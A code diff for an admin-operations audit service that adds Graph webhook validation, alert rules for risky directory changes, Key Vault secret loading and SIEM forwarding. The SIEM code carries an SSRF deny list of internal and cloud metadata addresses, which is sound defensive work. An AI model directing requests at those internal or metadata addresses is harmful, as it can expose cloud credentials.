+    """Save the current filter set."""
+    name = (body.get("name") or "").strip()
+    if not name:
+        raise HTTPException(status_code=400, detail="Name is required")
+
+    filters = body.get("filters") or {}
+    doc = {
+        "_id": str(uuid.uuid4()),
+        "name": name,
+        "filters": filters,
+        "created_at": datetime.now(UTC).isoformat().replace("+00:00", "Z"),
+        "created_by": _user_sub(user),
+    }
+    saved_searches_collection.insert_one(doc)
+    logger.info("Saved search created", name=name, user=doc["created_by"])
+    doc["id"] = doc.pop("_id")
+    return doc
+
+
+@router.delete("/saved-searches/{search_id}")
+async def delete_saved_search(search_id: str, user: dict = Depends(require_auth)):
+    """Delete a saved search (only if owned by current user)."""
+    sub = _user_sub(user)
+    result = saved_searches_collection.delete_one({"_id": search_id, "created_by": sub})
+    if result.deleted_count == 0:
+        raise HTTPException(status_code=404, detail="Saved search not found")
+    logger.info("Saved search deleted", search_id=search_id, user=sub)
+    return {"status": "deleted"}

backend/routes/webhooks.py

@@ -1,4 +1,5 @@
 import structlog
+from config import WEBHOOK_CLIENT_SECRET
 from fastapi import APIRouter, Request, Response
 
 router = APIRouter()
@@ -10,10 +11,21 @@ async def graph_webhook(request: Request):
     """
     Receive Microsoft Graph change notifications.
     Handles the validation handshake by echoing validationToken.
+    Validates clientState on notifications to prevent spoofing.
     """
     validation_token = request.query_params.get("validationToken")
     if validation_token:
-        return Response(content=validation_token, media_type="text/plain")
+        # Microsoft sends validationToken as a query param during subscription creation.
+        # Echo it back as plain text to prove endpoint ownership.
+        # Validate to prevent content injection if endpoint is hit directly.
+        if len(validation_token) > 1024 or not validation_token.isascii():
+            logger.warning("Invalid validationToken rejected", length=len(validation_token))
+            return Response(status_code=400)
+        return Response(
+            content=validation_token,
+            media_type="text/plain",
+            headers={"X-Content-Type-Options": "nosniff"},
+        )
 
     try:
         body = await request.json()
@@ -21,12 +33,26 @@ async def graph_webhook(request: Request):
         logger.warning("Invalid webhook payload", error=str(exc))
         return Response(status_code=400)
 
-    for notification in body.get("value", []):
+    notifications = body.get("value", [])
+    if not isinstance(notifications, list):
+        logger.warning("Invalid webhook payload structure")
+        return Response(status_code=400)
+
+    for notification in notifications:
+        client_state = notification.get("clientState")
+        if WEBHOOK_CLIENT_SECRET and client_state != WEBHOOK_CLIENT_SECRET:
+            logger.warning(
+                "Graph webhook rejected: invalid clientState",
+                change_type=notification.get("changeType"),
+                resource=notification.get("resource"),
+            )
+            return Response(status_code=401)
+
         logger.info(
             "Received Graph notification",
             change_type=notification.get("changeType"),
             resource=notification.get("resource"),
-            client_state=notification.get("clientState"),
+            client_state=client_state,
         )
 
     return {"status": "accepted"}

backend/rules.py

@@ -1,7 +1,18 @@
-from datetime import UTC, datetime
+"""Rule-based alerting for admin operations.
+
+Rules are evaluated during event ingestion. Triggered alerts are stored in MongoDB
+and optionally forwarded to a notification channel (webhook, Slack, Teams).
+
+Deduplication: the same rule firing for the same actor within ALERT_DEDUPE_MINUTES
+produces only one alert.
+"""
+
+from datetime import UTC, datetime, timedelta
 
 import structlog
+from config import ALERT_DEDUPE_MINUTES, ALERT_WEBHOOK_FORMAT, ALERT_WEBHOOK_URL
 from database import db
+from pymongo import ASCENDING
 
 logger = structlog.get_logger("aoc.rules")
 rules_collection = db["alert_rules"]
@@ -18,6 +29,13 @@ def evaluate_event(event: dict) -> list[dict]:
     rules = load_rules()
     for rule in rules:
         if _matches(rule, event):
+            if _is_duplicate(rule, event):
+                logger.debug(
+                    "Alert deduplicated",
+                    rule=rule.get("name"),
+                    event_id=event.get("id"),
+                )
+                continue
             triggered.append(rule)
             _create_alert(rule, event)
     return triggered
@@ -50,6 +68,9 @@ def _matches(rule: dict, event: dict) -> bool:
                     return False
             except Exception:
                 return False
+        if op == "threshold_count":
+            # Threshold rules are evaluated at query time, not per-event
+            return False
     return True
 
 
@@ -64,7 +85,22 @@ def _get_nested(obj: dict, path: str):
     return val
 
 
+def _is_duplicate(rule: dict, event: dict) -> bool:
+    """Check if an alert for this rule + actor was recently created."""
+    if ALERT_DEDUPE_MINUTES <= 0:
+        return False
+    cutoff = (datetime.now(UTC) - timedelta(minutes=ALERT_DEDUPE_MINUTES)).isoformat()
+    actor = event.get("actor_display") or event.get("actor_upn") or "unknown"
+    query = {
+        "rule_id": str(rule.get("_id")),
+        "actor": actor,
+        "timestamp": {"$gte": cutoff},
+    }
+    return alerts_collection.count_documents(query, limit=1) > 0
+
+
 def _create_alert(rule: dict, event: dict):
+    actor = event.get("actor_display") or event.get("actor_upn") or "unknown"
     alert = {
         "timestamp": datetime.now(UTC).isoformat(),
         "rule_id": str(rule.get("_id")),
@@ -72,10 +108,177 @@ def _create_alert(rule: dict, event: dict):
         "severity": rule.get("severity", "medium"),
         "event_id": event.get("id"),
         "event_dedupe_key": event.get("dedupe_key"),
+        "actor": actor,
         "message": rule.get("message", f"Rule '{rule.get('name')}' triggered"),
+        "status": "open",  # open | acknowledged | resolved | false_positive
     }
     try:
         alerts_collection.insert_one(alert)
         logger.info("Alert created", rule=rule.get("name"), event_id=event.get("id"))
     except Exception as exc:
         logger.warning("Failed to create alert", error=str(exc))
+        return
+
+    # Send notification
+    if ALERT_WEBHOOK_URL:
+        try:
+            from notifications import send_notification
+
+            send_notification(
+                webhook_url=ALERT_WEBHOOK_URL,
+                format_type=ALERT_WEBHOOK_FORMAT,
+                rule_name=rule.get("name", "Unnamed rule"),
+                severity=rule.get("severity", "medium"),
+                message=rule.get("message", ""),
+                event=event,
+            )
+        except Exception as exc:
+            logger.warning("Failed to send notification", error=str(exc))
+
+
+def seed_default_rules():
+    """Upsert pre-built admin-ops rule templates. Safe for concurrent startup."""
+    # One-time cleanup: remove duplicates by name, keep the oldest (_id ascending)
+    pipeline = [
+        {"$sort": {"_id": ASCENDING}},
+        {"$group": {"_id": "$name", "first_id": {"$first": "$_id"}}},
+    ]
+    seen = {doc["_id"]: doc["first_id"] for doc in rules_collection.aggregate(pipeline)}
+    for name, keep_id in seen.items():
+        rules_collection.delete_many({"name": name, "_id": {"$ne": keep_id}})
+
+    defaults = [
+        {
+            "name": "Failed Conditional Access",
+            "enabled": True,
+            "severity": "high",
+            "message": (
+                "A Conditional Access policy evaluation failed. "
+                "This may indicate a sign-in risk or policy misconfiguration."
+            ),
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "Directory"},
+                {"field": "operation", "op": "contains", "value": "ConditionalAccess"},
+                {"field": "result", "op": "neq", "value": "success"},
+            ],
+        },
+        {
+            "name": "After-Hours Admin Activity",
+            "enabled": True,
+            "severity": "medium",
+            "message": "A privileged operation was performed outside business hours (9 AM – 5 PM).",
+            "conditions": [
+                {
+                    "field": "service",
+                    "op": "in",
+                    "value": ["Directory", "UserManagement", "GroupManagement", "RoleManagement"],
+                },
+                {"field": "timestamp", "op": "after_hours"},
+            ],
+        },
+        {
+            "name": "New Application Registration",
+            "enabled": True,
+            "severity": "medium",
+            "message": (
+                "A new application was registered in Entra ID. Review for shadow IT or unauthorized integrations."
+            ),
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "ApplicationManagement"},
+                {"field": "operation", "op": "contains", "value": "Add application"},
+            ],
+        },
+        {
+            "name": "Admin Role Assignment",
+            "enabled": True,
+            "severity": "high",
+            "message": "A user was assigned an administrative role. Verify this was expected and authorized.",
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "RoleManagement"},
+                {"field": "operation", "op": "contains", "value": "Add member to role"},
+            ],
+        },
+        {
+            "name": "License Change",
+            "enabled": True,
+            "severity": "low",
+            "message": "A license was assigned or removed from a user. Monitor for unexpected cost changes.",
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "License"},
+            ],
+        },
+        {
+            "name": "Bulk User Deletion",
+            "enabled": True,
+            "severity": "high",
+            "message": (
+                "Multiple users were deleted in a short window. "
+                "This may indicate a compromised admin account or cleanup activity."
+            ),
+            "conditions": [
+                {"field": "service", "op": "in", "value": ["Directory", "UserManagement"]},
+                {"field": "operation", "op": "contains", "value": "Delete user"},
+            ],
+        },
+        {
+            "name": "Device Compliance Failure",
+            "enabled": True,
+            "severity": "medium",
+            "message": (
+                "A device failed compliance evaluation. "
+                "It may no longer meet your organization's security requirements."
+            ),
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "Intune"},
+                {"field": "operation", "op": "contains", "value": "compliance"},
+                {"field": "result", "op": "neq", "value": "success"},
+            ],
+        },
+        {
+            "name": "Exchange Transport Rule Change",
+            "enabled": True,
+            "severity": "high",
+            "message": "An Exchange transport rule was modified. This could affect mail flow or security filtering.",
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "Exchange"},
+                {"field": "operation", "op": "contains", "value": "Transport rule"},
+            ],
+        },
+        {
+            "name": "Service Principal Credential Added",
+            "enabled": True,
+            "severity": "high",
+            "message": "A new secret or certificate was added to a service principal. Verify this was expected.",
+            "conditions": [
+                {"field": "service", "op": "eq", "value": "ApplicationManagement"},
+                {"field": "operation", "op": "contains", "value": "Add service principal credentials"},
+            ],
+        },
+        {
+            "name": "External Sharing Enabled",
+            "enabled": True,
+            "severity": "medium",
+            "message": (
+                "External sharing settings were modified on a SharePoint site or team. Review for data exposure risk."
+            ),
+            "conditions": [
+                {"field": "service", "op": "in", "value": ["SharePoint", "Teams"]},
+                {"field": "operation", "op": "contains", "value": "Sharing"},
+            ],
+        },
+    ]
+
+    inserted = 0
+    for rule in defaults:
+        try:
+            result = rules_collection.replace_one(
+                {"name": rule["name"]},
+                rule,
+                upsert=True,
+            )
+            if result.upserted_id:
+                inserted += 1
+        except Exception as exc:
+            logger.warning("Failed to seed rule", rule=rule["name"], error=str(exc))
+    if inserted:
+        logger.info("Default admin-ops rules seeded", inserted=inserted, total=len(defaults))

backend/secrets_manager.py

@@ -0,0 +1,76 @@
+"""Optional Azure Key Vault integration for secrets storage.
+
+If AZURE_KEY_VAULT_NAME is configured, sensitive secrets are fetched from
+Azure Key Vault at startup and injected into the environment so that
+pydantic-settings can read them. Falls back to .env / environment variables
+when Key Vault is not configured.
+
+Secret naming convention in Key Vault:
+    aoc-client-secret        → CLIENT_SECRET
+    aoc-llm-api-key          → LLM_API_KEY
+    aoc-mongo-uri            → MONGO_URI
+    aoc-webhook-client-secret → WEBHOOK_CLIENT_SECRET
+"""
+
+import os
+
+import structlog
+
+logger = structlog.get_logger("aoc.secrets")
+
+_KEY_VAULT_SECRET_MAP = {
+    "aoc-client-secret": "CLIENT_SECRET",
+    "aoc-llm-api-key": "LLM_API_KEY",
+    "aoc-mongo-uri": "MONGO_URI",
+    "aoc-webhook-client-secret": "WEBHOOK_CLIENT_SECRET",
+}
+
+
+def _load_from_key_vault(vault_name: str) -> dict[str, str]:
+    """Fetch secrets from Azure Key Vault and return as {env_name: value}."""
+    try:
+        from azure.identity import DefaultAzureCredential
+        from azure.keyvault.secrets import SecretClient
+    except ImportError as exc:
+        raise RuntimeError(
+            "Azure Key Vault libraries are not installed. Run: pip install azure-identity azure-keyvault-secrets"
+        ) from exc
+
+    vault_url = f"https://{vault_name}.vault.azure.net/"
+    credential = DefaultAzureCredential()
+    client = SecretClient(vault_url=vault_url, credential=credential)
+
+    loaded = {}
+    for kv_name, env_name in _KEY_VAULT_SECRET_MAP.items():
+        try:
+            secret = client.get_secret(kv_name)
+            if secret.value:
+                loaded[env_name] = secret.value
+                logger.info("Loaded secret from Key Vault", secret_name=kv_name)
+        except Exception as exc:
+            logger.warning(
+                "Failed to load secret from Key Vault",
+                secret_name=kv_name,
+                error=str(exc),
+            )
+    return loaded
+
+
+def load_key_vault_secrets(vault_name: str | None = None):
+    """Load secrets from Azure Key Vault into os.environ if configured.
+
+    This should be called BEFORE pydantic-settings parses configuration.
+    """
+    vault = vault_name or os.environ.get("AZURE_KEY_VAULT_NAME", "")
+    if not vault:
+        return
+
+    logger.info("Loading secrets from Azure Key Vault", vault_name=vault)
+    secrets = _load_from_key_vault(vault)
+    for env_name, value in secrets.items():
+        os.environ[env_name] = value
+    logger.info(
+        "Key Vault secrets loaded",
+        count=len(secrets),
+        keys=list(secrets.keys()),
+    )

backend/siem.py

@@ -1,15 +1,43 @@
+import ipaddress
+
 import requests
 import structlog
-from config import SIEM_ENABLED, SIEM_WEBHOOK_URL
+from config import SIEM_ALLOWED_DOMAINS, SIEM_ENABLED, SIEM_WEBHOOK_URL
 
 logger = structlog.get_logger("aoc.siem")
 
 
+def _validate_siem_url(url: str):
+    """Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
+    from urllib.parse import urlparse
+
+    parsed = urlparse(url)
+    if parsed.scheme != "https":
+        raise RuntimeError("SIEM_WEBHOOK_URL must use HTTPS")
+    hostname = (parsed.hostname or "").lower()
+    if not hostname:
+        raise RuntimeError("SIEM_WEBHOOK_URL must have a valid hostname")
+    blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
+    if hostname in blocked:
+        raise RuntimeError(f"SIEM_WEBHOOK_URL hostname '{hostname}' is not allowed")
+    try:
+        ip = ipaddress.ip_address(hostname)
+        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
+            raise RuntimeError(f"SIEM_WEBHOOK_URL IP '{hostname}' is not allowed")
+    except ValueError:
+        pass
+    if SIEM_ALLOWED_DOMAINS:
+        allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in SIEM_ALLOWED_DOMAINS)
+        if not allowed:
+            raise RuntimeError(f"SIEM_WEBHOOK_URL domain '{hostname}' is not in SIEM_ALLOWED_DOMAINS")
+
+
 def forward_event(event: dict):
     """Forward a normalized event to the configured SIEM webhook."""
     if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
         return
     try:
+        _validate_siem_url(SIEM_WEBHOOK_URL)
         res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
         res.raise_for_status()
         logger.debug("Event forwarded to SIEM", event_id=event.get("id"))

backend/tests/conftest.py

@@ -22,14 +22,23 @@ def mock_watermarks_collection():
 @pytest.fixture(scope="function")
 def client(mock_events_collection, mock_watermarks_collection, monkeypatch):
     monkeypatch.setattr("database.events_collection", mock_events_collection)
+    monkeypatch.setattr("database.saved_searches_collection", mock_events_collection)
     monkeypatch.setattr("routes.fetch.events_collection", mock_events_collection)
     monkeypatch.setattr("routes.events.events_collection", mock_events_collection)
     monkeypatch.setattr("routes.ask.events_collection", mock_events_collection)
+    monkeypatch.setattr("routes.saved_searches.saved_searches_collection", mock_events_collection)
     monkeypatch.setattr("watermark.watermarks_collection", mock_watermarks_collection)
     monkeypatch.setattr("routes.health.watermarks_collection", mock_watermarks_collection)
     monkeypatch.setattr("routes.fetch.get_watermark", lambda source: None)
     monkeypatch.setattr("routes.fetch.set_watermark", lambda source, ts: None)
     monkeypatch.setattr("auth.AUTH_ENABLED", False)
+    monkeypatch.setattr("routes.mcp.AUTH_ENABLED", False)
+    monkeypatch.setattr("config.PRIVACY_SERVICES", set())
+    monkeypatch.setattr("config.PRIVACY_SENSITIVE_OPERATIONS", set())
+    monkeypatch.setattr("routes.events.PRIVACY_SERVICES", set())
+    monkeypatch.setattr("routes.events.PRIVACY_SENSITIVE_OPERATIONS", set())
+    monkeypatch.setattr("routes.ask.PRIVACY_SERVICES", set())
+    monkeypatch.setattr("routes.ask.PRIVACY_SENSITIVE_OPERATIONS", set())
     monkeypatch.setattr("database.db.command", lambda cmd: {"ok": 1} if cmd == "ping" else {})
 
     # Mock audit trail and rules collections so tests don't wait on real MongoDB
@@ -40,6 +49,35 @@ def client(mock_events_collection, mock_watermarks_collection, monkeypatch):
     monkeypatch.setattr("rules.rules_collection", audit_db["alert_rules"])
     monkeypatch.setattr("routes.rules.rules_collection", audit_db["alert_rules"])
 
+    # Mock Redis so tests don't require a running Redis server
+    class FakeRedis:
+        _store = {}
+
+        async def get(self, key):
+            return self._store.get(key)
+
+        async def setex(self, key, ttl, value):
+            self._store[key] = value
+
+        async def incr(self, key):
+            self._store[key] = self._store.get(key, 0) + 1
+            return self._store[key]
+
+        async def expire(self, key, ttl):
+            pass
+
+    async def fake_get_arq_pool():
+        return FakeRedis()
+
+    async def fake_get_redis():
+        return FakeRedis()
+
+    monkeypatch.setattr("redis_client.get_arq_pool", fake_get_arq_pool)
+    monkeypatch.setattr("redis_client.get_redis", fake_get_redis)
+    monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
+    monkeypatch.setattr("routes.jobs.get_redis", fake_get_redis)
+    monkeypatch.setattr("rate_limiter.get_redis", fake_get_redis)
+
     from main import app
 
     return TestClient(app)

backend/tests/test_api.py

@@ -1,6 +1,264 @@
 from datetime import UTC, datetime
 
 
+def test_config_features(client):
+    response = client.get("/api/config/features")
+    assert response.status_code == 200
+    data = response.json()
+    assert "ai_features_enabled" in data
+    assert isinstance(data["ai_features_enabled"], bool)
+
+
+def test_ask_disabled_when_ai_features_off():
+    import subprocess
+    import sys
+
+    code = """
+import sys
+sys.path.insert(0, '.')
+import os
+os.environ['AI_FEATURES_ENABLED'] = 'false'
+
+# Re-import config with the env override
+import importlib
+import config
+importlib.reload(config)
+
+# Now import main; it will pick up the new AI_FEATURES_ENABLED
+import main
+ask_paths = [r.path for r in main.app.routes if hasattr(r, 'path') and 'ask' in r.path]
+print('ASK_PATHS:', ask_paths)
+assert len(ask_paths) == 0, f"Expected no ask routes, found: {ask_paths}"
+print('OK')
+"""
+    result = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, cwd=".")
+    assert result.returncode == 0, f"Subprocess failed: {result.stdout}\n{result.stderr}"
+    assert "OK" in result.stdout
+
+
+def test_mcp_sse_mount_exists():
+    from main import app
+
+    mcp_mounts = [r for r in app.routes if getattr(r, "path", "") == "/mcp"]
+    assert len(mcp_mounts) == 1, "MCP mount not found in app routes"
+
+
+def test_mcp_messages_no_session(client):
+    response = client.post("/mcp/messages/")
+    # MCP transport returns 400 when session_id is missing, 404 when session not found
+    assert response.status_code in (400, 404)
+
+
+def test_mcp_sse_auth_required_when_enabled(client, monkeypatch):
+    monkeypatch.setattr("routes.mcp.AUTH_ENABLED", True)
+    response = client.get("/mcp/sse")
+    assert response.status_code == 401
+
+
+def test_explain_event_not_found(client):
+    response = client.post("/api/events/nonexistent/explain")
+    assert response.status_code == 404
+
+
+def test_explain_event_no_llm_key(client, mock_events_collection, monkeypatch):
+    monkeypatch.setattr("routes.ask.LLM_API_KEY", "")
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-explain",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Directory",
+            "operation": "Add user",
+            "result": "success",
+            "actor_display": "Alice",
+            "raw_text": "",
+        }
+    )
+    response = client.post("/api/events/evt-explain/explain")
+    assert response.status_code == 200
+    data = response.json()
+    assert "explanation" in data
+    assert data["llm_used"] is False
+    assert "LLM_API_KEY" in (data.get("llm_error") or "")
+
+
+def test_explain_event_with_llm_mock(client, mock_events_collection, monkeypatch):
+    monkeypatch.setattr("routes.ask.LLM_API_KEY", "test-key")
+
+    async def fake_explain(event, related):
+        return "This is a test explanation."
+
+    monkeypatch.setattr("routes.ask._explain_event", fake_explain)
+
+    class FakeRedis:
+        async def get(self, key):
+            return None
+
+        async def setex(self, key, ttl, value):
+            pass
+
+    async def fake_get_arq_pool():
+        return FakeRedis()
+
+    monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
+
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-explain2",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Directory",
+            "operation": "Add user",
+            "result": "success",
+            "actor_display": "Alice",
+            "raw_text": "",
+        }
+    )
+    response = client.post("/api/events/evt-explain2/explain")
+    assert response.status_code == 200
+    data = response.json()
+    assert data["explanation"] == "This is a test explanation."
+    assert data["llm_used"] is True
+
+
+def test_saved_searches_crud(client, monkeypatch):
+    monkeypatch.setattr("auth.AUTH_ENABLED", False)
+
+    # Create
+    response = client.post(
+        "/api/saved-searches", json={"name": "Test search", "filters": {"actor": "alice", "result": "success"}}
+    )
+    assert response.status_code == 200
+    created = response.json()
+    assert created["name"] == "Test search"
+    assert created["filters"]["actor"] == "alice"
+    search_id = created["id"]
+
+    # List
+    response2 = client.get("/api/saved-searches")
+    assert response2.status_code == 200
+    items = response2.json()
+    assert len(items) == 1
+    assert items[0]["name"] == "Test search"
+
+    # Delete
+    response3 = client.delete(f"/api/saved-searches/{search_id}")
+    assert response3.status_code == 200
+
+    # List empty
+    response4 = client.get("/api/saved-searches")
+    assert response4.status_code == 200
+    assert len(response4.json()) == 0
+
+
+def test_saved_searches_delete_not_found(client, monkeypatch):
+    monkeypatch.setattr("auth.AUTH_ENABLED", False)
+    response = client.delete("/api/saved-searches/nonexistent")
+    assert response.status_code == 404
+
+
+def test_saved_searches_create_validation(client, monkeypatch):
+    monkeypatch.setattr("auth.AUTH_ENABLED", False)
+    response = client.post("/api/saved-searches", json={"name": "  ", "filters": {}})
+    assert response.status_code == 400
+
+
+def test_privacy_filtering_events_by_operation(client, mock_events_collection, monkeypatch):
+    monkeypatch.setattr("config.PRIVACY_SENSITIVE_OPERATIONS", {"MailItemsAccessed", "Send"})
+    monkeypatch.setattr("routes.events.PRIVACY_SENSITIVE_OPERATIONS", {"MailItemsAccessed", "Send"})
+    monkeypatch.setattr("auth.PRIVACY_SERVICE_ROLES", {"SecurityAdmin"})
+    monkeypatch.setattr("auth.user_can_access_privacy_services", lambda claims: False)
+    monkeypatch.setattr("routes.events.user_can_access_privacy_services", lambda claims: False)
+
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-safe",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Exchange",
+            "operation": "Add-MailboxPermission",
+            "result": "success",
+            "actor_display": "Alice",
+            "raw_text": "",
+        }
+    )
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-priv",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Exchange",
+            "operation": "Send",
+            "result": "success",
+            "actor_display": "Bob",
+            "raw_text": "",
+        }
+    )
+
+    response = client.get("/api/events")
+    assert response.status_code == 200
+    data = response.json()
+    ids = [e["id"] for e in data["items"]]
+    assert "evt-safe" in ids
+    assert "evt-priv" not in ids
+
+
+def test_privacy_filter_options_shows_service_hides_ops(client, mock_events_collection, monkeypatch):
+    monkeypatch.setattr("config.PRIVACY_SENSITIVE_OPERATIONS", {"MailItemsAccessed"})
+    monkeypatch.setattr("routes.events.PRIVACY_SENSITIVE_OPERATIONS", {"MailItemsAccessed"})
+    monkeypatch.setattr("auth.PRIVACY_SERVICE_ROLES", {"SecurityAdmin"})
+    monkeypatch.setattr("auth.user_can_access_privacy_services", lambda claims: False)
+    monkeypatch.setattr("routes.events.user_can_access_privacy_services", lambda claims: False)
+
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-1",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Exchange",
+            "operation": "MailItemsAccessed",
+            "result": "success",
+            "actor_display": "Alice",
+            "raw_text": "",
+        }
+    )
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-2",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Exchange",
+            "operation": "Add-MailboxPermission",
+            "result": "success",
+            "actor_display": "Bob",
+            "raw_text": "",
+        }
+    )
+
+    response = client.get("/api/filter-options")
+    assert response.status_code == 200
+    data = response.json()
+    assert "Exchange" in data["services"]
+    assert "MailItemsAccessed" not in data["operations"]
+    assert "Add-MailboxPermission" in data["operations"]
+
+
+def test_privacy_explain_forbidden_by_operation(client, mock_events_collection, monkeypatch):
+    monkeypatch.setattr("config.PRIVACY_SENSITIVE_OPERATIONS", {"Send"})
+    monkeypatch.setattr("routes.ask.PRIVACY_SENSITIVE_OPERATIONS", {"Send"})
+    monkeypatch.setattr("auth.PRIVACY_SERVICE_ROLES", {"SecurityAdmin"})
+    monkeypatch.setattr("auth.user_can_access_privacy_services", lambda claims: False)
+    monkeypatch.setattr("routes.ask.user_can_access_privacy_services", lambda claims: False)
+
+    mock_events_collection.insert_one(
+        {
+            "id": "evt-send",
+            "timestamp": datetime.now(UTC).isoformat(),
+            "service": "Exchange",
+            "operation": "Send",
+            "result": "success",
+            "actor_display": "Bob",
+            "raw_text": "",
+        }
+    )
+    response = client.post("/api/events/evt-send/explain")
+    assert response.status_code == 403
+
+
 def test_health(client):
     response = client.get("/health")
     assert response.status_code == 200
@@ -10,7 +268,7 @@ def test_health(client):
 
 
 def test_metrics(client):
-    response = client.get("/metrics")
+    response = client.get("/metrics", headers={"X-Forwarded-For": "127.0.0.1"})
     assert response.status_code == 200
     assert "aoc_request_duration_seconds" in response.text
 

backend/tests/test_ask.py

@@ -1,5 +1,7 @@
+import asyncio
 from datetime import UTC, datetime, timedelta
 
+from jobs import set_cached_ask
 from routes.ask import _build_event_query, _extract_entity, _extract_time_range
 
 # ---------------------------------------------------------------------------
@@ -236,7 +238,7 @@ class TestAskEndpoint:
             }
         )
 
-        async def fake_llm(question, events):
+        async def fake_llm(question, events, total=None, excluded_services=None):
             return "The device had a failed wipe attempt."
 
         monkeypatch.setattr("routes.ask.LLM_API_KEY", "fake-key")
@@ -265,7 +267,7 @@ class TestAskEndpoint:
             }
         )
 
-        async def failing_llm(question, events):
+        async def failing_llm(question, events, total=None):
             raise RuntimeError("LLM service down")
 
         monkeypatch.setattr("routes.ask.LLM_API_KEY", "fake-key")
@@ -350,3 +352,131 @@ class TestAskEndpoint:
         data = response.json()
         assert data["query_info"]["event_count"] == 1
         assert data["events"][0]["id"] == "evt-bob"
+
+
+class TestAskCaching:
+    def test_ask_cache_hit_returns_cached_answer(self, client, mock_events_collection, monkeypatch):
+        """If the answer is cached, the LLM should not be called."""
+        now = datetime.now(UTC)
+        mock_events_collection.insert_one(
+            {
+                "id": "evt-cache",
+                "timestamp": now.isoformat(),
+                "service": "Directory",
+                "operation": "Add user",
+                "result": "success",
+                "actor_display": "Alice",
+                "target_displays": ["USER-001"],
+                "display_summary": "summary",
+                "raw_text": "raw",
+            }
+        )
+
+        llm_called = False
+
+        async def fake_llm(question, events, total=None, excluded_services=None):
+            nonlocal llm_called
+            llm_called = True
+            return "This should NOT appear."
+
+        monkeypatch.setattr("routes.ask.LLM_API_KEY", "fake-key")
+        monkeypatch.setattr("routes.ask._call_llm", fake_llm)
+
+        # Pre-populate cache with a specific answer
+        class CachingFakeRedis:
+            def __init__(self):
+                self.store = {}
+
+            async def get(self, key):
+                return self.store.get(key)
+
+            async def setex(self, key, ttl, value):
+                self.store[key] = value
+
+        redis = CachingFakeRedis()
+        # Seed cache with the exact filters the endpoint will generate
+        filters_snapshot = {
+            "services": None,
+            "actor": None,
+            "operation": None,
+            "result": None,
+            "start": None,
+            "end": None,
+            "include_tags": None,
+            "exclude_tags": None,
+        }
+        asyncio.run(
+            set_cached_ask(
+                redis,
+                "What happened to USER-001?",
+                filters_snapshot,
+                [{"id": "evt-cache"}],
+                {"answer": "Cached answer!", "llm_used": True, "llm_error": None},
+            )
+        )
+
+        async def fake_get_arq_pool():
+            return redis
+
+        monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
+
+        response = client.post("/api/ask", json={"question": "What happened to USER-001?"})
+        assert response.status_code == 200
+        data = response.json()
+        assert data["answer"] == "Cached answer!"
+        assert data["llm_used"] is True
+        assert llm_called is False
+
+    def test_ask_async_mode_returns_job_id(self, client, mock_events_collection, monkeypatch):
+        """Async mode should return immediately with a job_id."""
+        now = datetime.now(UTC)
+        mock_events_collection.insert_one(
+            {
+                "id": "evt-async",
+                "timestamp": now.isoformat(),
+                "service": "Directory",
+                "operation": "Add user",
+                "result": "success",
+                "actor_display": "Alice",
+                "target_displays": ["USER-001"],
+                "display_summary": "summary",
+                "raw_text": "raw",
+            }
+        )
+
+        monkeypatch.setattr("routes.ask.LLM_API_KEY", "fake-key")
+
+        # Mock arq pool to capture enqueue_job call
+        class FakeArqPool:
+            def __init__(self):
+                self.enqueued = []
+
+            async def get(self, key):
+                return None
+
+            async def setex(self, key, ttl, value):
+                pass
+
+            async def enqueue_job(self, func, *args, **kwargs):
+                from unittest.mock import MagicMock
+
+                job = MagicMock()
+                job.job_id = "job-12345"
+                self.enqueued.append((func, args, kwargs))
+                return job
+
+        pool = FakeArqPool()
+
+        async def fake_get_arq_pool():
+            return pool
+
+        monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
+
+        response = client.post("/api/ask", json={"question": "What happened to USER-001?", "async_mode": True})
+        assert response.status_code == 200
+        data = response.json()
+        assert data["job_id"] == "job-12345"
+        assert data["llm_used"] is False
+        assert "being processed" in data["answer"]
+        assert len(pool.enqueued) == 1
+        assert pool.enqueued[0][0] == "process_ask_question"

backend/tests/test_rules.py

@@ -59,6 +59,7 @@ def test_evaluate_event_creates_alert(monkeypatch):
         inserted["doc"] = doc
 
     monkeypatch.setattr(alerts_collection, "insert_one", mock_insert)
+    monkeypatch.setattr(alerts_collection, "count_documents", lambda *args, **kwargs: 0)
 
     event = {"id": "e1", "operation": "Add user", "timestamp": datetime.now(UTC).isoformat(), "dedupe_key": "dk1"}
     triggered = evaluate_event(event)

docker-compose.prod.yml

@@ -1,4 +1,19 @@
 services:
+  redis:
+    image: valkey/valkey:8-alpine
+    container_name: aoc-redis
+    restart: always
+    volumes:
+      - redis_data:/data
+    networks:
+      - aoc-internal
+    healthcheck:
+      test: ["CMD", "redis-cli", "ping"]
+      interval: 10s
+      timeout: 3s
+      retries: 5
+      start_period: 5s
+
   mongo:
     image: mongo:7
     container_name: aoc-mongo
@@ -27,9 +42,12 @@ services:
       - .env
     environment:
       MONGO_URI: mongodb://${MONGO_ROOT_USERNAME}:${MONGO_ROOT_PASSWORD}@mongo:27017/
+      REDIS_URL: redis://redis:6379/0
     depends_on:
       mongo:
